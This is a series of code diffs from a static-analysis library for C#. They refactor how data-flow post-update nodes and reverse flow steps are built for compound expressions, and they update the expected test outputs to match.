e = LocalFlow::getAPostUpdateNodeForArg(arg) and
e != arg and
n.asExpr() = arg.getExpr()
)
or
n.asExpr() = any(Expr e | not exprMayHavePostUpdateNode(e))
}
predicate reverseReadExclude(Node n) { n.asExpr() = any(AwaitExpr ae).getExpr() }

View File

@@ -1,6 +1,7 @@
| All Nuget feeds reachable | 1.0 |
| Failed project restore with package source error | 0.0 |
| Failed solution restore with package source error | 0.0 |
| Inherited Nuget feed count | 1.0 |
| NuGet feed responsiveness checked | 1.0 |
| Project files on filesystem | 1.0 |
| Reachable fallback Nuget feed count | 1.0 |

View File

@@ -1,6 +1,7 @@
| All Nuget feeds reachable | 1.0 |
| Failed project restore with package source error | 0.0 |
| Failed solution restore with package source error | 0.0 |
| Inherited Nuget feed count | 1.0 |
| NuGet feed responsiveness checked | 1.0 |
| Project files on filesystem | 1.0 |
| Reachable fallback Nuget feed count | 1.0 |

View File

@@ -691,19 +691,22 @@ module LocalFlow {
)
}
/** Gets a node for which to construct a post-update node for argument `arg`. */
ControlFlow::Nodes::ExprNode getAPostUpdateNodeForArg(ControlFlow::Nodes::ExprNode arg) {
arg.getExpr() instanceof Argument and
result = getALastEvalNode*(arg) and
exists(Expr e, Type t | result.getExpr() = e and t = e.stripCasts().getType() |
t instanceof RefType and
not t instanceof NullType
or
t = any(TypeParameter tp | not tp.isValueType())
or
t.isRefLikeType()
) and
not exists(getALastEvalNode(result))
/**
* Holds if a reverse local flow step should be added from the post-update node
* for `e` to the post-update node for the result.
*
* This is needed to allow for side-effects on compound expressions to propagate
* to sub components. For example, in
*
* ```csharp
* m(b ? x : y)
* ```
*
* we add a reverse flow step from `[post] b ? x : y` to `[post] x` and to
* `[post] y`, in order for the side-effect of `m` to reach both `x` and `y`.
*/
ControlFlow::Nodes::ExprNode getPostUpdateReverseStep(ControlFlow::Nodes::ExprNode e) {
result = getALastEvalNode(e)
}
/**
@@ -763,6 +766,13 @@ predicate simpleLocalFlowStep(Node nodeFrom, Node nodeTo, string model) {
VariableCapture::valueStep(nodeFrom, nodeTo)
or
nodeTo = nodeFrom.(LocalFunctionCreationNode).getAnAccess(true)
or
nodeTo.(PostUpdateNode).getPreUpdateNode().(ExprNode).getControlFlowNode() =
LocalFlow::getPostUpdateReverseStep(nodeFrom
.(PostUpdateNode)
.getPreUpdateNode()
.(ExprNode)
.getControlFlowNode())
) and
model = ""
or
@@ -1061,6 +1071,20 @@ private class FieldOrPropertyUsedInSource extends FieldOrProperty {
}
}
/**
* Hold if `e` has a type that allows for it to have a post-update node.
*/
predicate exprMayHavePostUpdateNode(Expr e) {
exists(Type t | t = e.stripCasts().getType() |
t instanceof RefType and
not t instanceof NullType
or
t = any(TypeParameter tp | not tp.isValueType())
or
t.isRefLikeType()
)
}
/** A collection of cached types and predicates to be evaluated in the same stage. */
cached
private module Cached {
@@ -1106,7 +1130,15 @@ private module Cached {
cfn.getAstNode().(ObjectCreation).hasInitializer()
} or
TExprPostUpdateNode(ControlFlow::Nodes::ExprNode cfn) {
cfn = LocalFlow::getAPostUpdateNodeForArg(_)
(
cfn.getExpr() instanceof Argument
or
cfn =
LocalFlow::getPostUpdateReverseStep(any(ControlFlow::Nodes::ExprNode e |
exists(any(SourcePostUpdateNode p).getPreUpdateNode().asExprAtNode(e))
))
) and
exprMayHavePostUpdateNode(cfn.getExpr())
or
exists(Expr e | e = cfn.getExpr() |
fieldOrPropertyStore(_, _, _, e, true)
@@ -2722,17 +2754,23 @@ abstract class PostUpdateNode extends Node {
}
module PostUpdateNodes {
class ObjectCreationNode extends PostUpdateNode, ExprNode, TExprNode {
abstract class SourcePostUpdateNode extends PostUpdateNode {
abstract Node getPreUpdateSourceNode();
final override Node getPreUpdateNode() { result = this.getPreUpdateSourceNode() }
}
class ObjectCreationNode extends SourcePostUpdateNode, ExprNode, TExprNode {
private ObjectCreation oc;
ObjectCreationNode() { this = TExprNode(oc.getAControlFlowNode()) }
override Node getPreUpdateNode() {
override Node getPreUpdateSourceNode() {
exists(ControlFlow::Nodes::ElementNode cfn | this = TExprNode(cfn) |
result.(ObjectInitializerNode).getControlFlowNode() = cfn
result = TObjectInitializerNode(cfn)
or
not oc.hasInitializer() and
result.(MallocNode).getControlFlowNode() = cfn
result = TMallocNode(cfn)
)
}
}
@@ -2744,7 +2782,7 @@ module PostUpdateNodes {
* Such a node acts as both a post-update node for the `MallocNode`, as well as
* a pre-update node for the `ObjectCreationNode`.
*/
class ObjectInitializerNode extends PostUpdateNode, NodeImpl, ArgumentNodeImpl,
class ObjectInitializerNode extends SourcePostUpdateNode, NodeImpl, ArgumentNodeImpl,
TObjectInitializerNode
{
private ObjectCreation oc;
@@ -2758,7 +2796,7 @@ module PostUpdateNodes {
/** Gets the initializer to which this initializer node belongs. */
ObjectOrCollectionInitializer getInitializer() { result = oc.getInitializer() }
override MallocNode getPreUpdateNode() { result.getControlFlowNode() = cfn }
override MallocNode getPreUpdateSourceNode() { result = TMallocNode(cfn) }
override predicate argumentOf(DataFlowCall call, ArgumentPosition pos) {
pos.isQualifier() and
@@ -2781,23 +2819,12 @@ module PostUpdateNodes {
override string toStringImpl() { result = "[pre-initializer] " + cfn }
}
class ExprPostUpdateNode extends PostUpdateNode, NodeImpl, TExprPostUpdateNode {
class ExprPostUpdateNode extends SourcePostUpdateNode, NodeImpl, TExprPostUpdateNode {
private ControlFlow::Nodes::ElementNode cfn;
ExprPostUpdateNode() { this = TExprPostUpdateNode(cfn) }
override ExprNode getPreUpdateNode() {
// For compound arguments, such as `m(b ? x : y)`, we want the leaf nodes
// `[post] x` and `[post] y` to have two pre-update nodes: (1) the compound argument,
// `if b then x else y`; and the (2) the underlying expressions; `x` and `y`,
// respectively.
//
// This ensures that we get flow out of the call into both leafs (1), while still
// maintaining the invariant that the underlying expression is a pre-update node (2).
cfn = LocalFlow::getAPostUpdateNodeForArg(result.getControlFlowNode())
or
cfn = result.getControlFlowNode()
}
override ExprNode getPreUpdateSourceNode() { result = TExprNode(cfn) }
override DataFlowCallable getEnclosingCallableImpl() {
result.getAControlFlowNode() = cfn
@@ -2825,41 +2852,41 @@ module PostUpdateNodes {
override Node getPreUpdateNode() { result.(FlowSummaryNode).getSummaryNode() = preUpdateNode }
}
private class InstanceParameterAccessPostUpdateNode extends PostUpdateNode,
private class InstanceParameterAccessPostUpdateNode extends SourcePostUpdateNode,
InstanceParameterAccessNode
{
InstanceParameterAccessPostUpdateNode() { isPostUpdate = true }
override InstanceParameterAccessPreNode getPreUpdateNode() {
override InstanceParameterAccessPreNode getPreUpdateSourceNode() {
result = TInstanceParameterAccessNode(cfn, false)
}
override string toStringImpl() { result = "[post] this" }
}
private class PrimaryConstructorThisAccessPostUpdateNode extends PostUpdateNode,
private class PrimaryConstructorThisAccessPostUpdateNode extends SourcePostUpdateNode,
PrimaryConstructorThisAccessNode
{
PrimaryConstructorThisAccessPostUpdateNode() { isPostUpdate = true }
override PrimaryConstructorThisAccessPreNode getPreUpdateNode() {
override PrimaryConstructorThisAccessPreNode getPreUpdateSourceNode() {
result = TPrimaryConstructorThisAccessNode(p, false, callable)
}
override string toStringImpl() { result = "[post] this" }
}
class LocalFunctionCreationPostUpdateNode extends LocalFunctionCreationNode, PostUpdateNode {
class LocalFunctionCreationPostUpdateNode extends LocalFunctionCreationNode, SourcePostUpdateNode {
LocalFunctionCreationPostUpdateNode() { isPostUpdate = true }
override LocalFunctionCreationPreNode getPreUpdateNode() {
override LocalFunctionCreationPreNode getPreUpdateSourceNode() {
result = TLocalFunctionCreationNode(cfn, false)
}
override string toStringImpl() { result = "[post] " + cfn }
}
private class CapturePostUpdateNode extends PostUpdateNode, CaptureNode {
private class CapturePostUpdateNode extends SourcePostUpdateNode, CaptureNode {
private CaptureNode pre;
CapturePostUpdateNode() {
@@ -2867,7 +2894,7 @@ module PostUpdateNodes {
pre.getSynthesizedCaptureNode())
}
override CaptureNode getPreUpdateNode() { result = pre }
override CaptureNode getPreUpdateSourceNode() { result = pre }
override string toStringImpl() { result = "[post] " + cn }
}

View File

@@ -1062,7 +1062,7 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu
}
/** Holds if the guard `guard` controls block `bb` upon evaluating to `branch`. */
predicate guardControlsBlock(Guard guard, ControlFlow::BasicBlock bb, boolean branch) {
predicate guardDirectlyControlsBlock(Guard guard, ControlFlow::BasicBlock bb, boolean branch) {
exists(ConditionBlock conditionBlock, ControlFlow::SuccessorTypes::ConditionalSuccessor s |
guard.getAControlFlowNode() = conditionBlock.getLastNode() and
s.getValue() = branch and

View File

@@ -233,6 +233,10 @@ module ModelGeneratorInput implements ModelGeneratorInputSig<Location, CsharpDat
result = ParamReturnNodeAsOutput<parameterContentAccess/1>::paramReturnNodeAsOutput(c, pos)
}
ParameterPosition getReturnKindParamPosition(ReturnKind kind) {
kind.(OutRefReturnKind).getPosition() = result.getPosition()
}
Callable returnNodeEnclosingCallable(DataFlow::Node ret) {
result = DataFlowImplCommon::getNodeEnclosingCallable(ret).asCallable(_)
}

View File

@@ -252,7 +252,7 @@
| CSharp7.cs:233:28:233:29 | access to local variable i1 | CSharp7.cs:235:38:235:39 | access to local variable i1 |
| CSharp7.cs:233:28:233:33 | ... > ... | CSharp7.cs:233:13:233:33 | [false] ... && ... |
| CSharp7.cs:233:28:233:33 | ... > ... | CSharp7.cs:233:13:233:33 | [true] ... && ... |
| CSharp7.cs:235:13:235:42 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) |
| CSharp7.cs:235:13:235:42 | [input] SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o |
| CSharp7.cs:235:33:235:36 | "int " | CSharp7.cs:235:31:235:41 | $"..." |
| CSharp7.cs:235:38:235:39 | access to local variable i1 | CSharp7.cs:235:31:235:41 | $"..." |
| CSharp7.cs:237:18:237:18 | access to local variable o | CSharp7.cs:237:23:237:31 | String s1 |
@@ -260,18 +260,17 @@
| CSharp7.cs:237:18:237:18 | access to local variable o | CSharp7.cs:241:18:241:18 | access to local variable o |
| CSharp7.cs:237:23:237:31 | SSA def(s1) | CSharp7.cs:239:41:239:42 | access to local variable s1 |
| CSharp7.cs:237:23:237:31 | String s1 | CSharp7.cs:237:23:237:31 | SSA def(s1) |
| CSharp7.cs:239:13:239:45 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) |
| CSharp7.cs:239:13:239:45 | [input] SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o |
| CSharp7.cs:239:33:239:39 | "string " | CSharp7.cs:239:31:239:44 | $"..." |
| CSharp7.cs:239:41:239:42 | access to local variable s1 | CSharp7.cs:239:31:239:44 | $"..." |
| CSharp7.cs:241:18:241:18 | access to local variable o | CSharp7.cs:242:9:243:9 | [input] SSA phi read(o) |
| CSharp7.cs:241:18:241:18 | access to local variable o | CSharp7.cs:244:18:244:18 | access to local variable o |
| CSharp7.cs:242:9:243:9 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) |
| CSharp7.cs:242:9:243:9 | [input] SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o |
| CSharp7.cs:244:18:244:18 | access to local variable o | CSharp7.cs:244:18:244:28 | [input] SSA phi read(o) |
| CSharp7.cs:244:18:244:18 | access to local variable o | CSharp7.cs:244:23:244:28 | Object v1 |
| CSharp7.cs:244:18:244:18 | access to local variable o | CSharp7.cs:245:9:246:9 | [input] SSA phi read(o) |
| CSharp7.cs:244:18:244:28 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) |
| CSharp7.cs:245:9:246:9 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) |
| CSharp7.cs:248:9:274:9 | SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o |
| CSharp7.cs:244:18:244:28 | [input] SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o |
| CSharp7.cs:245:9:246:9 | [input] SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o |
| CSharp7.cs:248:17:248:17 | access to local variable o | CSharp7.cs:254:27:254:27 | access to local variable o |
| CSharp7.cs:248:17:248:17 | access to local variable o | CSharp7.cs:257:18:257:23 | Int32 i2 |
| CSharp7.cs:248:17:248:17 | access to local variable o | CSharp7.cs:260:18:260:23 | Int32 i3 |
@@ -312,10 +311,8 @@
| CSharp7.cs:285:39:285:42 | access to local variable list | CSharp7.cs:287:36:287:39 | access to local variable list |
| CSharp7.cs:287:36:287:39 | access to local variable list | CSharp7.cs:289:32:289:35 | access to local variable list |
| CSharp7.cs:297:18:297:18 | access to local variable x | CSharp7.cs:297:18:297:22 | SSA def(x) |
| CSharp7.cs:297:18:297:22 | SSA def(x) | CSharp7.cs:297:18:297:22 | [input] SSA phi(x) |
| CSharp7.cs:297:18:297:22 | [input] SSA phi(x) | CSharp7.cs:297:25:297:25 | SSA phi(x) |
| CSharp7.cs:297:18:297:22 | SSA def(x) | CSharp7.cs:297:25:297:25 | access to local variable x |
| CSharp7.cs:297:22:297:22 | 0 | CSharp7.cs:297:18:297:18 | access to local variable x |
| CSharp7.cs:297:25:297:25 | SSA phi(x) | CSharp7.cs:297:25:297:25 | access to local variable x |
| CSharp7.cs:297:25:297:25 | access to local variable x | CSharp7.cs:297:25:297:30 | ... < ... |
| CSharp7.cs:297:25:297:25 | access to local variable x | CSharp7.cs:297:35:297:35 | access to local variable x |
| CSharp7.cs:297:25:297:30 | ... < ... | CSharp7.cs:297:25:297:44 | [false] ... && ... |
@@ -326,6 +323,5 @@
| CSharp7.cs:297:35:297:44 | [true] ... is ... | CSharp7.cs:297:25:297:44 | [true] ... && ... |
| CSharp7.cs:297:40:297:44 | Int32 y | CSharp7.cs:297:40:297:44 | SSA def(y) |
| CSharp7.cs:297:40:297:44 | SSA def(y) | CSharp7.cs:299:31:299:31 | access to local variable y |
| CSharp7.cs:297:47:297:49 | SSA def(x) | CSharp7.cs:297:47:297:49 | [input] SSA phi(x) |
| CSharp7.cs:297:47:297:49 | [input] SSA phi(x) | CSharp7.cs:297:25:297:25 | SSA phi(x) |
| CSharp7.cs:297:47:297:49 | SSA def(x) | CSharp7.cs:297:25:297:25 | access to local variable x |
| CSharp7.cs:297:49:297:49 | access to local variable x | CSharp7.cs:297:47:297:49 | SSA def(x) |

View File

@@ -421,46 +421,40 @@ edges
| GlobalDataFlow.cs:469:21:469:21 | s : String | GlobalDataFlow.cs:469:32:469:32 | access to parameter s | provenance | |
| GlobalDataFlow.cs:470:15:470:17 | access to parameter arg : String | GlobalDataFlow.cs:469:21:469:21 | s : String | provenance | |
| GlobalDataFlow.cs:473:28:473:41 | "taint source" : String | GlobalDataFlow.cs:466:53:466:55 | arg : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:483:20:483:33 | "taint source" : String | GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:22 | access to field field | provenance | |
| GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:22 | access to field field | provenance | |
| GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:22 | access to field field | provenance | |
| GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:22 | access to field field | provenance | |
| GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:22 | access to field field | provenance | |
| GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:21 | access to field field | provenance | |
| GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:21 | access to field field | provenance | |
| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:21 | access to field field | provenance | |
| GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:21 | access to field field | provenance | |
| GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:21 | access to field field | provenance | |
| GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:21 | access to field field | provenance | |
| GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:21 | access to field field | provenance | |
| GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:22 | access to field field | provenance | |
| GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | provenance | |
| GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:21 | access to field field | provenance | |
| GlobalDataFlow.cs:553:71:553:71 | e : null [element] : String | GlobalDataFlow.cs:556:27:556:27 | access to parameter e : null [element] : String | provenance | |
| GlobalDataFlow.cs:556:27:556:27 | access to parameter e : null [element] : String | GlobalDataFlow.cs:558:46:558:46 | access to local variable x : String | provenance | |
@@ -880,43 +874,37 @@ nodes
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | semmle.label | sc [Return] : SimpleClass [field field] : String |
| GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | semmle.label | [post] access to parameter sc : SimpleClass [field field] : String |
| GlobalDataFlow.cs:483:20:483:33 | "taint source" : String | semmle.label | "taint source" : String |
| GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | semmle.label | [post] access to local variable x1 : SimpleClass [field field] : String |
| GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | semmle.label | [post] access to local variable x2 : SimpleClass [field field] : String |
| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | semmle.label | [post] ... ? ... : ... : SimpleClass [field field] : String |
| GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | semmle.label | access to local variable x1 : SimpleClass [field field] : String |
| GlobalDataFlow.cs:491:15:491:22 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | semmle.label | access to local variable x2 : SimpleClass [field field] : String |
| GlobalDataFlow.cs:492:15:492:22 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y1 : SimpleClass [field field] : String |
| GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y2 : SimpleClass [field field] : String |
| GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y3 : SimpleClass [field field] : String |
| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | semmle.label | [post] ... ? ... : ... : SimpleClass [field field] : String |
| GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | semmle.label | access to local variable y1 : SimpleClass [field field] : String |
| GlobalDataFlow.cs:498:15:498:22 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | semmle.label | access to local variable y2 : SimpleClass [field field] : String |
| GlobalDataFlow.cs:499:15:499:22 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | semmle.label | access to local variable y3 : SimpleClass [field field] : String |
| GlobalDataFlow.cs:500:15:500:22 | access to field field | semmle.label | access to field field |
| GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | semmle.label | [post] access to local variable x : SubSimpleClass [field field] : String |
| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | semmle.label | access to local variable x : SubSimpleClass [field field] : String |
| GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | semmle.label | [post] (...) ... : SimpleClass [field field] : String |
| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String |
| GlobalDataFlow.cs:509:15:509:21 | access to field field | semmle.label | access to field field |
